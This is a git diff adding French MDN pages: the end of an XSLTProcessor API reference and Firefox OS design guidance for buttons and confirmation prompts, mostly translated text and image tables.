+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Mozilla/WebIDL_bindings#Throws">[Throws]</a> void </code>{{domxref("XSLTProcessor.importStylesheet")}}<code>(</code>{{domxref("Node")}}<code> styleSheet)</code></dt>
+ <dd>Importe une feuille de style XSLT. Si le nœud passé en argument est un nœud de document, vous pouvez passer une transformation XSL complète ou un <a class="external" href="http://www.w3.org/TR/xslt#result-element-stylesheet">transformation d'élèment résultant</a>; sinon, il doit s'agir d'un élèment <code>&lt;xsl:stylesheet&gt;</code> ou <code>&lt;xsl:transform&gt;</code>.</dd>
+ <dt><code><a href="/en-US/docs/Mozilla/WebIDL_bindings#Throws">[Throws]</a> </code>{{domxref("DocumentFragment")}} {{domxref("XSLTProcessor.transformToFragment")}}<code>(</code>{{domxref("Node")}}<code> source, </code>{{domxref("Document")}}<code> owner)</code></dt>
+ <dd>Transforme la source du nœud en applicant la fonction {{domxref("XSLTProcessor.importStylesheet()")}}. Le document propriétaire du fragment de document résultant est le nœud propriétaire.</dd>
+ <dt><code><a href="/en-US/docs/Mozilla/WebIDL_bindings#Throws">[Throws]</a></code> {{domxref("Document")}} {{domxref("XSLTProcessor.transformToDocument")}}<code>(</code>{{domxref("Node")}}<code> source)</code></dt>
+ <dd>
+ <p>Transforme la source du nœud en appliquant la feuille de style donnée lors de l'importation à l'aide de la fonction {{domxref ("XSLTProcessor.importStylesheet ()")}}.</p>
+
+ <p>L'objet résultant dépend de la <a class="external" href="http://www.w3.org/TR/xslt#output">méthode de sortie</a> de la feuille de style :</p>
+
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">Méthode de sortie</th>
+    <th scope="col">Type de résultat</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>html</code></td>
+    <td>{{domxref("HTMLDocument")}}</td>
+   </tr>
+   <tr>
+    <td><code>xml</code></td>
+    <td>{{domxref("XMLDocument")}}</td>
+   </tr>
+   <tr>
+    <td><code>text</code></td>
+    <td>{{domxref("XMLDocument")}} avec un seul élèment racine <code>&lt;transformiix:result&gt;</code> avec le texte comme enfant</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><code><a href="/en-US/docs/Mozilla/WebIDL_bindings#Throws">[Throws]</a> void </code>{{domxref("XSLTProcessor.setParameter")}}<code>(</code>{{jsxref("String")}}<code> namespaceURI, </code>{{jsxref("String")}}<code> localName, any value)</code></dt>
+ <dd>Définit un paramètre dans la feuille de style XSLT qui a été importée. (Définit la valeur d'un <code>&lt;xsl:param&gt;</code>.) Une valeur nulle pour <code>namespaceURI</code> sera traitée comme une chaîne vide.</dd>
+ <dt><code><a href="/en-US/docs/Mozilla/WebIDL_bindings#Throws">[Throws]</a> any </code>{{domxref("XSLTProcessor.getParameter")}}<code>(</code>{{jsxref("String")}}<code> namespaceURI, </code>{{jsxref("String")}}<code> localName)</code></dt>
+ <dd>Récupére un paramètre de la feuille de style XSLT. Une valeur nulle pour <code>namespaceURI</code> sera traitée comme une chaîne vide.</dd>
+ <dt><code><a href="/en-US/docs/Mozilla/WebIDL_bindings#Throws">[Throws]</a> void </code>{{domxref("XSLTProcessor.removeParameter")}}<code>(</code>{{jsxref("String")}}<code> namespaceURI, </code>{{jsxref("String")}}<code> localName)</code></dt>
+ <dd>Supprime le paramètre s'il a déjà été défni. Le <code>XSLTProcessor</code> utilisera alors la valeur par défaut du paramètre. Si une valeur nulle est donnée pour <code>namespaceURI</code>, elle sera traitée comme une chaîne vide.</dd>
+ <dt><code>void </code>{{domxref("XSLTProcessor.clearParameters()")}}</dt>
+ <dd>Supprime tous les paramètres définis dans le <code>XSLTProcessor</code>. Le <code>XSLTProcessor</code> utilisera alors les valeurs par défaut spécifiées dans la feuille de style XSLT.</dd>
+ <dt><code>void </code>{{domxref("XSLTProcessor.reset()")}}</dt>
+ <dd>Supprime tous les paramétres et feuilles de style du <code>XSLTProcessor</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<h3 id="Propriétés_non-apparentes_au_Web">Propriétés non-apparentes au Web</h3>
+
+<p>Les propriétés suivantes sont <a href="/en-US/docs/Mozilla/WebIDL_bindings#ChromeOnly"><code>[ChromeOnly]</code></a> et ne sont pas apparentes au contenu Web :</p>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Mozilla/WebIDL_bindings#ChromeOnly">[ChromeOnly]</a> attribute unsigned long </code>{{domxref("XSLTProcessor.flags")}}</dt>
+ <dd>
+ <p>Drapeaux qui modifient le comportement du processeur. Pas de réinitialisation en appelant {{domxref("XSLTProcessor.reset()")}}. Valeur par défaut: <code>0</code></p>
+
+ <p>Possible values are:</p>
+
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">Nom</th>
+    <th scope="col">Valeur</th>
+    <th scope="col">Effet</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td>(None)</td>
+    <td><code>0</code></td>
+    <td>Aucun</td>
+   </tr>
+   <tr>
+    <td><code>DISABLE_ALL_LOADS</code></td>
+    <td><code>1</code></td>
+    <td>Désactiver le chargement de documents externes (par ex. <code>&lt;xsl:import&gt;</code> et <code>document()</code>)</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<ol>
+ <li><a href="/fr-FR/docs/XSLT/XSLT_JS_Interface_in_Gecko/Basic_Example">Exemple simple</a></li>
+ <li><a href="/fr-FR/docs/XSLT/XSLT_JS_Interface_in_Gecko/Advanced_Example">Exemple avancé</a></li>
+ <li><a href="/fr-FR/docs/XSLT/XSLT_JS_Interface_in_Gecko/JavaScript_XSLT_Bindings">Exemple additionnel</a></li>
+</ol>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p><em>Ne fait partie d'aucune spécification.</em> Il s'agit d'une interface propriétaire qui provient de Gecko.</p>
+
+<h2 id="Gecko_IDL">Gecko IDL</h2>
+
+<ul>
+ <li><code>{{ Source("dom/webidl/XSLTProcessor.webidl", "XSLTProcessor.webidl") }}</code></li>
+ <li><code>{{ Source("dom/xslt/nsIXSLTProcessor.idl", "nsIXSLTProcessor.idl") }}</code></li>
+</ul>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Microsoft Edge</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr-FR/docs/Using_the_Mozilla_JavaScript_interface_to_XSL_Transformations">Utilisation de l'interface JavaScript de Mozilla pour les transformations XML</a></li>
+</ul>
diff --git a/files/fr/web/apps/design/building_blocks/buton/index.html b/files/fr/web/apps/design/building_blocks/buton/index.html
new file mode 100644
index 0000000000..1ff0416084
--- /dev/null
+++ b/files/fr/web/apps/design/building_blocks/buton/index.html
@@ -0,0 +1,231 @@
+---
+title: Bouton
+slug: Web/Apps/Design/Building_Blocks/Buton
+translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_blocks/1.x/Button
+---
+<p><span id="result_box" lang="fr"><span class="hps">Effectue</span> <span class="hps">une action</span> <span class="hps">quand touché</span> <span class="hps">par l'utilisateur.</span> <span class="hps">Ce sont des objets</span> <span class="hps">de l'interface utilisateur</span> <span class="hps">hautements</span> <span class="hps">flexibles</span> <span class="hps">qui ont une</span> <span class="hps">grande variété de styles</span><span>.</span> <span class="hps">Consultez le guide</span> <span class="hps">de codage</span> pour <span class="hps">la façon de</span> <span class="hps">mettre en œuvre des</span> <span class="hps">boutons</span> <span class="hps">qui ressemblent à</span> <span class="hps">ceux décrits ici.</span></span></p>
+<h2 id="Caractéristiques">Caractéristiques</h2>
+<ul>
+ <li><span id="result_box" lang="fr"><span class="hps">Les boutons ont</span> <span class="hps">deux composantes :</span> <span class="hps">une cible visuelle</span> <span class="hps">et une cible</span> <span class="hps">de</span> <span class="hps">toucher</span><span>.</span> <span class="hps">La cible</span> <span class="hps">de toucher</span> <span class="hps">est toujours plus grande</span><span>,</span> <span class="hps">afin de réduire les</span> <span class="hps">erreurs de ciblage</span> <span class="hps">en rendant</span> <span class="hps">la touche</span> <span class="hps">plus facile</span> <span class="hps">à toucher</span><span>.</span></span></li>
+ <li>Les boutons ont deux états : normal et pressé.</li>
+ <li>Ils peuvent aussi être <strong>désactivés</strong>, ce qui signifie qu'ils sont inutilisables, et sont seulement affichés pour indiquer qu'ils sont désactivés.</li>
+</ul>
+<p>Il y a différents types de boutons :</p>
+<dl>
+ <dt>
+  Boutons d'action</dt>
+ <dd>
+  <span id="result_box" lang="fr"><span class="hps">Utilisé</span>s <span class="hps">lorsqu'il n'y a que</span> <span class="hps">quelques</span> <span class="hps">actions</span> <span class="hps">et qu'une liste</span> <span class="hps">n'est pas nécessaire.</span> <span class="hps">Le</span> <span class="hps">bouton d'action</span> <span class="hps">principal</span> <span class="hps">utilise une</span> <span class="hps">couleur</span> <span class="hps">spéciale pour indiquer</span> <span class="hps">que c'est la</span> <span class="hps">première option</span><span>.</span></span></dd>
+ <dt>
+  Boutons de listes</dt>
+ <dd>
+  <span id="result_box" lang="fr"><span class="hps">Utilisés</span> <span class="hps">lors de l'affichage</span> <span class="hps">d'une</span> <span class="hps">liste d'actions</span><span>,</span> <span class="hps">ou</span> <span class="hps">pour déclencher l'affichage</span> <span class="hps">d'un sélecteur de</span> <span class="hps">valeur</span><span>.</span></span></dd>
+ <dt>
+  Boutons de champ de saisie</dt>
+ <dd>
+  <span id="result_box" lang="fr"><span class="hps">Utilisés pour</span> <span class="hps">effectuer des actions</span> <span class="hps">avec</span> <span class="hps">les champs de saisie</span><span>.</span></span></dd>
+ <dt>
+  Boutons spéciaux/personnalisés</dt>
+ <dd>
+  <span id="result_box" lang="fr"><span class="hps">Utilisés pour fournir des</span> <span class="hps">actions</span> <span class="hps">spécifiques, comme</span> <span class="hps">l'enregistrement,</span> <span class="short_text" id="result_box" lang="fr"><span class="hps">la numérotation</span></span><span>, etc</span><span>.</span></span></dd>
+</dl>
+<h2 id="Captures_d'écran">Captures d'écran</h2>
+<p><span id="result_box" lang="fr"><span class="hps">Voici quelques</span> <span class="hps">exemples visuels de</span> <span class="hps">ce à quoi les boutons</span> <span class="hps">devraient ressembler</span><span>.</span> <span class="hps">N'oubliez pas que</span> <span class="hps">vous</span> <span class="hps">pouvez utiliser</span> <span class="hps">les feuilles de style</span> <span class="hps">et</span> <span class="hps">des ressources d'images</span> <span class="hps">fournies dans</span> <span class="hps">le guide</span> <span class="hps">de codage</span> <span class="hps">pour les implémenter</span><span class="hps">.</span></span></p>
+<h3 id="Boutons_d'action">Boutons d'action</h3>
+<p><span id="result_box" lang="fr"><span class="hps">Utilisé</span>s <span class="hps">lorsqu'il n'y a que</span> <span class="hps">quelques</span> <span class="hps">actions</span> <span class="hps">et qu'une liste</span> <span class="hps">n'est pas nécessaire.</span> <span class="hps">Le</span> <span class="hps">bouton d'action</span> <span class="hps">principal</span> <span class="hps">utilise une</span> <span class="hps">couleur</span> <span class="hps">spéciale pour indiquer</span> <span class="hps">que c'est la</span> <span class="hps">première option</span><span>.</span></span></p>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row"> </th>
+   <th scope="col"> Première action</th>
+   <th scope="col">Seconde action</th>
+   <th scope="col">Supprimer</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Normal</th>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/4693/btn-main-normal.jpg" style="width: 140px; height: 40px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/4699/btn-secondary-normal.jpg" style="width: 140px; height: 40px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/4687/btn-delete-normal.jpg" style="width: 140px; height: 40px;"></td>
+  </tr>
+  <tr>
+   <th scope="row">Pressé</th>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/4691/btn-main-lit.jpg" style="width: 140px; height: 40px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/4697/btn-secondary-lit.jpg" style="width: 140px; height: 40px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/4685/btn-delete-lit.jpg" style="width: 140px; height: 40px;"></td>
+  </tr>
+  <tr>
+   <th scope="row">Désactivé</th>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/4689/btn-main-disabled.jpg" style="width: 140px; height: 40px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/4695/btn-secondary-disabled.jpg" style="width: 140px; height: 40px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/4683/btn-delete-disabled.jpg" style="width: 140px; height: 40px;"></td>
+  </tr>
+ </tbody>
+</table>
+<p>Sur un fond sombre, les boutons d'action ont une apparence spéciale, comme ci-dessous.</p>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row"> </th>
+   <th scope="col">Première action</th>
+   <th scope="col">Seconde action</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Désactivé</th>
+   <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4701/btn-primary-disabled-dark.jpg" style="width: 140px; height: 40px;"></td>
+   <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4703/btn-secondary-disabled-dark.jpg" style="width: 140px; height: 40px;"></td>
+  </tr>
+ </tbody>
+</table>
+<h3 id="Boutons_de_liste">Boutons de liste</h3>
+<p><span id="result_box" lang="fr"><span class="hps">Utilisés</span> <span class="hps">lors de l'affichage</span> <span class="hps">d'une</span> <span class="hps">liste d'actions</span><span>,</span> <span class="hps">ou</span> <span class="hps">pour déclencher l'affichage</span> <span class="hps">d'un sélecteur de</span> <span class="hps">valeur</span><span>.</span></span></p>
+<h4 id="Déclencheurs">Déclencheurs</h4>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row"> </th>
+   <th scope="col"><span class="short_text" id="result_box" lang="fr"><span class="hps">Déclencher une action</span> <span class="hps">dans la vue actuelle</span></span></th>
+   <th scope="col"><span class="short_text" id="result_box" lang="fr"><span class="hps">Déclencher une action</span> <span class="hps">dans une nouvelle vue </span></span></th>
+   <th scope="col"><span class="short_text" id="result_box" lang="fr"><span class="hps">Afficher</span> <span class="hps">un sélecteur de</span> <span class="hps">valeur</span></span></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Normal</th>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/4725/btn-trigger-current-normal.png" style="width: 291px; height: 40px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/4731/btn-trigger-new-normal.png" style="width: 290px; height: 40px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/4743/btn-trigger-selector-normal.png" style="width: 291px; height: 40px;"></td>
+  </tr>
+  <tr>
+   <th scope="row">Pressé</th>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/4727/btn-trigger-current-pressed.png" style="width: 291px; height: 40px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/4733/btn-trigger-new-pressed.png" style="width: 289px; height: 39px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/4745/btn-trigger-selector-pressed.png" style="width: 291px; height: 40px;"></td>
+  </tr>
+  <tr>
+   <th scope="row">Désactivé</th>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/4723/btn-trigger-current-disabled.png" style="width: 290px; height: 40px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/4729/btn-trigger-new-disabled.png" style="width: 290px; height: 40px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/4741/btn-trigger-selector-disabled.png" style="width: 291px; height: 40px;"></td>
+  </tr>
+ </tbody>
+</table>
+<h4 id="Sélecteur_de_valeur">Sélecteur de valeur</h4>
+<p><span id="result_box" lang="fr"><span class="hps">Une fois</span> <span class="hps">que le sélecteur de</span> <span class="hps">valeur</span> <span class="hps">a été ouvert,</span> <span class="hps">vous</span> <span class="hps">aurez besoin d'au</span> <span class="hps">moins un bouton</span> <span class="hps">sur le panneau</span> <span class="hps">de sélection de</span> <span class="hps">valeur</span> <span class="hps">pour annuler </span><span class="hps">ledit sélecteur de</span> <span class="hps">valeur</span><span>.</span> <span class="hps">Ces</span> <span class="hps">boutons doivent</span> <span class="hps">ressembler à</span> <span class="hps">ce qui suit:</span></span></p>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Normal</th>
+   <th scope="col">Pressé</th>
+   <th scope="col">Désactivé</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4755/btn-selector-normal.png" style="width: 269px; height: 39px;"></td>
+   <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4757/btn-selector-pressed.png" style="width: 269px; height: 39px;"></td>
+   <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4753/btn-selector-disabled.png" style="width: 269px; height: 39px;"></td>
+  </tr>
+ </tbody>
+</table>
+<h3 id="Boutons_de_champ_de_saisie">Boutons de champ de saisie</h3>
+<p><span id="result_box" lang="fr"><span class="hps">Les boutons de champ</span> <span class="hps">de saisie</span> <span class="hps">sont des boutons</span> <span class="hps">associés à</span> <span class="hps">un champ de saisie</span><span>,</span> <span class="hps">qui, lorsqu'il est</span> <span class="hps">pressé,</span> <span class="hps">effectuent une action</span> <span class="hps">liée à ce</span> <span class="hps">champ de saisie.</span></span></p>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Normal</th>
+   <th scope="col">Pressé</th>
+   <th scope="col">Désactivé</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/4761/input-field-normal.png" style="width: 320px; height: 40px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/4763/input-field-pressed.png" style="width: 320px; height: 40px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/4759/input-field-disabled.png" style="width: 320px; height: 40px;"></td>
+  </tr>
+ </tbody>
+</table>
+<h3 id="Boutons_spéciaux">Boutons spéciaux</h3>
+<p><span id="result_box" lang="fr"><span class="hps">Les</span> <span class="hps">boutons spéciaux</span> <span class="hps">sont des boutons</span> <span class="hps">de style visuels avec des icônes,</span><span class="hps"> utilisés</span> <span class="hps">à des fins</span> <span class="hps">spéciales, telles que</span> <span class="hps">l'exploitation</span> <span class="hps">de la</span> <span class="hps atn">caméra de l'</span><span>appareil</span><span>,</span> <span class="hps">répondre et</span> <span class="hps">raccrocher le</span> <span class="hps">téléphone</span><span>,</span> <span class="hps">et l'activation de</span> <span class="hps">la</span> <span class="hps">numérotation</span> <span class="hps">au clavier</span><span>.</span> <span class="hps">Vous pouvez</span> <span class="hps">bien sûr</span> <span class="hps">trouver</span> <span class="hps">d'autres utilisations pour</span> <span class="hps">ce style de</span> <span class="hps">bouton.</span></span></p>
+<h4 id="Boutons_photo">Boutons photo</h4>
+<p><span id="result_box" lang="fr"><span class="hps">Ces</span> butons<span class="hps"> n'ont pas</span><span class="hps"> d'état désactivé</span><span>, vous</span> <span class="hps">n'avez tout simplement</span> <span class="hps">pas</span> <span class="hps">besoin de les afficher si la prise</span><span class="hps"> de photos</span> <span class="hps">n'est pas disponible.</span></span></p>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row"> </th>
+   <th scope="col">Enregistrement vidéo</th>
+   <th scope="col">Arrêter l'enregistrement vidéo</th>
+   <th scope="col">Prendre photo</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Normal</th>
+   <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4771/video-record-normal.png" style="width: 100px; height: 45px;"></td>
+   <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4775/video-stop-normal.png" style="width: 100px; height: 45px;"></td>
+   <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4767/camera-normal.png" style="width: 100px; height: 45px;"></td>
+  </tr>
+  <tr>
+   <th scope="row">Pressé</th>
+   <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4773/video-record-pressed.png" style="width: 100px; height: 45px;"></td>
+   <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4777/video-stop-pressed.png" style="width: 100px; height: 45px;"></td>
+   <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4769/camera-pressed.png" style="width: 100px; height: 45px;"></td>
+  </tr>
+ </tbody>
+</table>
+<h4 id="Boutons_téléphone">Boutons téléphone</h4>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row"> </th>
+   <th scope="col">Répondre</th>
+   <th scope="col">Raccrocher</th>
+   <th scope="col">Masquer le clavier</th>
+  </tr>
+  <tr>
+   <th scope="row">Normal</th>
+   <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4781/phone-answer-normal.png" style="width: 130px; height: 40px;"></td>
+   <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4787/phone-hangup-normal.png" style="width: 130px; height: 40px;"></td>
+   <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4793/hide-dialer-normal.png" style="width: 130px; height: 40px;"></td>
+  </tr>
+  <tr>
+   <th scope="row">Pressé</th>
+   <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4783/phone-answer-pressed.png" style="width: 130px; height: 40px;"></td>
+   <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4789/phone-hangup-pressed.png" style="width: 130px; height: 40px;"></td>
+   <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4795/hide-dialer-pressed.png" style="width: 130px; height: 40px;"></td>
+  </tr>
+  <tr>
+   <th scope="row">Désactivé</th>
+   <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4779/phone-answer-disabled.png" style="width: 130px; height: 40px;"></td>
+   <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4785/phone-hangup-disabled.png" style="width: 130px; height: 40px;"></td>
+   <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4791/hide-dialer-disabled.png" style="width: 130px; height: 40px;"></td>
+  </tr>
+ </tbody>
+</table>
+<h4 id="Boutons_personnalisés">Boutons personnalisés</h4>
+<p><span id="result_box" lang="fr"><span class="hps">Voici des exemples boutons personnalisés</span><span>, ici</span> <span class="hps">pour ajouter</span> <span class="hps">un contact.</span></span></p>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Normal</th>
+   <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4799/generic-normal.png" style="width: 90px; height: 40px;"></td>
+  </tr>
+  <tr>
+   <th scope="row">Pressé</th>
+   <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4801/generic-pressed.png" style="width: 90px; height: 40px;"></td>
+  </tr>
+  <tr>
+   <th scope="row">Désactivé</th>
+   <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4797/generic-disabled.png" style="width: 90px; height: 40px;"></td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Voir_aussi">Voir aussi</h2>
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Firefox_OS/UX" title="/en-US/docs/Mozilla/Firefox_OS/UX">Firefox OS user experience</a></li>
+ <li><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Button/Coding" title="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Button/Coding">Button coding guide</a></li>
+</ul>
diff --git a/files/fr/web/apps/design/building_blocks/confirmation/index.html b/files/fr/web/apps/design/building_blocks/confirmation/index.html
new file mode 100644
index 0000000000..17d6db6553
--- /dev/null
+++ b/files/fr/web/apps/design/building_blocks/confirmation/index.html
@@ -0,0 +1,86 @@
+---
+title: Confirmation
+slug: Web/Apps/Design/Building_Blocks/Confirmation
+translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_blocks/1.x/Confirmation
+---
+<p><span id="result_box" lang="fr"><span class="hps">Un message</span> <span class="hps">de confirmation demande</span> <span class="hps">à l'utilisateur d'effectuer</span> <span class="hps">ou de confirmer une</span> <span class="hps">action,</span> <span class="hps">par exemple répondre</span> <span class="hps">à un message</span><span class="hps"> système</span> qui <span class="hps">demande à l'utilisateur</span> <span class="hps">de redémarrer</span> <span class="hps">l'appareil</span> <span class="hps">après un changement</span> de<span class="hps"> carte SIM</span><span>,</span> <span class="hps">ou</span> <span class="hps">demander à l'utilisateur</span> <span class="hps">d'accorder ou de</span> <span class="hps">refuser l'autorisation</span> <span class="hps">d'exécuter une tâche</span><span>.</span> <span class="hps">Consultez le guide</span> <span class="hps">de codage</span> <span class="hps">pour la </span><span class="hps">façon de</span> <span class="hps">mettre en œuvre</span> <span class="hps">ces invites</span> <span class="hps">dans votre application</span><span>.</span></span></p>
+<h2 id="Caractéristiques">Caractéristiques</h2>
+<ul>
+ <li><span id="result_box" lang="fr"><span class="hps">Les invites de confirmation</span> <span class="hps">sont modales</span><span>, elles</span> <span class="hps">occupent la</span> <span class="hps">totalité de l'écran</span> <span class="hps">et nécessitent une</span> <span class="hps">intervention de l'utilisateur</span> <span class="hps">pour être fermées.</span></span></li>
+ <li>Elles consistent en :
+  <ul>
+   <li>Un titre (facultatif)</li>
+   <li>Un corps</li>
+   <li>Une icône (facultative)</li>
+   <li><span id="result_box" lang="fr"><span class="hps">Un bouton</span> <span class="hps">d'entrée de</span> <span class="hps">la confirmation,</span> <span class="hps">dont le label</span> <span class="hps">peut être personnalisé</span></span></li>
+   <li>Un bouton Annuler, dont le label peut être personnalisé</li>
+  </ul>
+ </li>
+</ul>
+<h2 id="Captures_d'écran">Captures d'écran</h2>
+<p><span id="result_box" lang="fr"><span class="hps">Voici quelques</span> <span class="hps">exemples de ce à quoi</span> <span class="hps">diverses</span> <span class="hps">invites de confirmation</span> <span class="hps">peuvent ressembler.</span></span></p>
+<table class="fxosScreenGrid">
+ <tbody>
+  <tr>
+   <td style="vertical-align: top;">
+    <h3 id="Apparence_par_défaut">Apparence par défaut</h3>
+    <p><img alt="" src="https://mdn.mozillademos.org/files/4805/default.png"></p>
+    Ici, un {{HTMLElement("h1")}} <span id="result_box" lang="fr"><span class="hps">est utilisé pour créer</span> <span class="hps">la « confirmation »</span><span> du titre.</span>. La classe <span class="hps">delete</span> <span class="hps">est appliquée au <a href="https://developer.mozilla.org/fr/docs/Web/Apps/Design/Building_Blocks/Buton">bouton</a></span> Supprimer <span class="hps">pour l'afficher</span> <span class="hps">avec l'apparence d'un bouton Supprimer</span></span></td>
+   <td style="vertical-align: top;">
+    <h3 id="Avec_un_contenu_de_corps">Avec un contenu de corps</h3>
+    <p><img alt="" src="https://mdn.mozillademos.org/files/4811/with-content.png"></p>
+    <p><span id="result_box" lang="fr"><span class="hps">Dans cet exemple,</span> <span class="hps">un corps</span> <span class="hps">plus complexe</span> <span class="hps">est utilisé,</span> <span class="hps">avec</span> <span class="hps">une image</span> <span class="hps">et son style</span><span>.</span> <span class="hps">La classe</span> <span class="hps">« recommandé »</span> <span class="hps">est utilisée pour indiquer</span> <span class="hps">que le bouton</span> <span class="hps">« Action »</span> <span class="hps">est le</span> <span class="hps">bouton qui doit effectuer ladite action</span><span>.</span></span></p>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <h3 id="Sans_titre">Sans titre</h3>
+    <p><img alt="" src="https://mdn.mozillademos.org/files/4807/confirm-without-title.png">Cet exemple est exactement comme celui du dessus sauf qu'il n'y a pas de bloc {{HTMLElement("h1")}} pour créer un titre.</p>
+   </td>
+   <td style="vertical-align: top;">
+    <h3 id="En_mode_d'édition">En mode d'édition</h3>
+    <p><img alt="" src="https://mdn.mozillademos.org/files/4809/edit-mode.png" style="width: 320px; height: 480px;"></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Variations">Variations</h2>
